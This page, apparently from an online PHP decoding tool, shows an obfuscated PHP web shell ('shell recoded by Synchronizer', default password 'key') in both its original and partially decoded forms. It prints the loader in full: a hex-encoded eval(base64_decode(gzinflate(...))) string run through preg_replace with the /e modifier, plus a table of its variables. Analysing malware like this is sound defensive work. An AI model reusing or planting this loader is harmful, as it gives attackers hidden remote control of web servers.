Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /* |===========================================| |-------SHELL RECODED BY SYNCHR..

Decoded Output download

<?php  
/* 
|===========================================| 
|-------SHELL RECODED BY SYNCHRONIZER-------| 
|--------   Default pass : key      --------| 
|===========================================| 
*/ 
$auth_pass="3c6e0b8a9c15224a8228b9a98ca1531d"; # Change Your MD5 Password # 
 
$cjh2hkh = "RdzOJenTkzoYuiUzp2SvsOwUF40UeXFNSvdnJgdxSRt25JsiaOERlTT+jYCv/6cYU+Z6VR0Eu51IfN85GnDkEPc"; 
$cgh1jg = "NY7LboMwEEV/yThEEUtCIMUUGwwx2LsAjYQxjxa1CXx9h6"; 
$cjgjh4ghd = "GPFH+vLdnudXKkhqq+U2dha4wB5Yj5nXP36/avyeFmqqzuCksUInpTzVwA7MCt2fZxk2m6YMZ8mecuxPDwr6W6eEX"; 
$gkjf3 = "Fis6f/Z0AJ2Li6uqYqHRdaZei3HVKOhMeorPQVECIFqEa5yRa+d832XZLyPMxuc4ffmeG/5nnqQdQxZ4pc7tZOSoto4iyqPsyyoibzGJVk9kwU"; 
$payloader = "eval(base64_decode(gzinflate(base64_decode($payload),0)))"; 
$payload = $cgh1jg.$cjh2hkh.$gkjf3.$cjgjh4ghd; 
preg_replace('/.*/e',$payloader,'.');  
?>

Did this file decode correctly?

Original Code

<?php 
/*
|===========================================|
|-------SHELL RECODED BY SYNCHRONIZER-------|
|--------   Default pass : key      --------|
|===========================================|
*/
$auth_pass="3c6e0b8a9c15224a8228b9a98ca1531d"; # Change Your MD5 Password #

$cjh2hkh = "RdzOJenTkzoYuiUzp2SvsOwUF40UeXFNSvdnJgdxSRt25JsiaOERlTT+jYCv/6cYU+Z6VR0Eu51IfN85GnDkEPc";
$cgh1jg = "NY7LboMwEEV/yThEEUtCIMUUGwwx2LsAjYQxjxa1CXx9h6";
$cjgjh4ghd = "GPFH+vLdnudXKkhqq+U2dha4wB5Yj5nXP36/avyeFmqqzuCksUInpTzVwA7MCt2fZxk2m6YMZ8mecuxPDwr6W6eEX";
$gkjf3 = "Fis6f/Z0AJ2Li6uqYqHRdaZei3HVKOhMeorPQVECIFqEa5yRa+d832XZLyPMxuc4ffmeG/5nnqQdQxZ4pc7tZOSoto4iyqPsyyoibzGJVk9kwU";
$payloader = "\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x67\x7a\x69\x6e\x66\x6c\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x24\x70\x61\x79\x6c\x6f\x61\x64\x29\x2c\x30\x29\x29\x29";
$payload = $cgh1jg.$cjh2hkh.$gkjf3.$cjgjh4ghd;
preg_replace('/.*/e',$payloader,'.'); 
?>

Function Calls

preg_replace 1

Variables

$gkjf3 Fis6f/Z0AJ2Li6uqYqHRdaZei3HVKOhMeorPQVECIFqEa5yRa+d832XZLyPM..
$cgh1jg NY7LboMwEEV/yThEEUtCIMUUGwwx2LsAjYQxjxa1CXx9h6
$cjh2hkh RdzOJenTkzoYuiUzp2SvsOwUF40UeXFNSvdnJgdxSRt25JsiaOERlTT+jYCv..
$payload NY7LboMwEEV/yThEEUtCIMUUGwwx2LsAjYQxjxa1CXx9h6RdzOJenTkzoYui..
$auth_pass 3c6e0b8a9c15224a8228b9a98ca1531d
$cjgjh4ghd GPFH+vLdnudXKkhqq+U2dha4wB5Yj5nXP36/avyeFmqqzuCksUInpTzVwA7M..
$payloader eval(base64_decode(gzinflate(base64_decode($payload),0)))

Stats

MD5 257ea1d9a5cf2351443b5073b5afe4bd
Eval Count 1
Decode Time 97 ms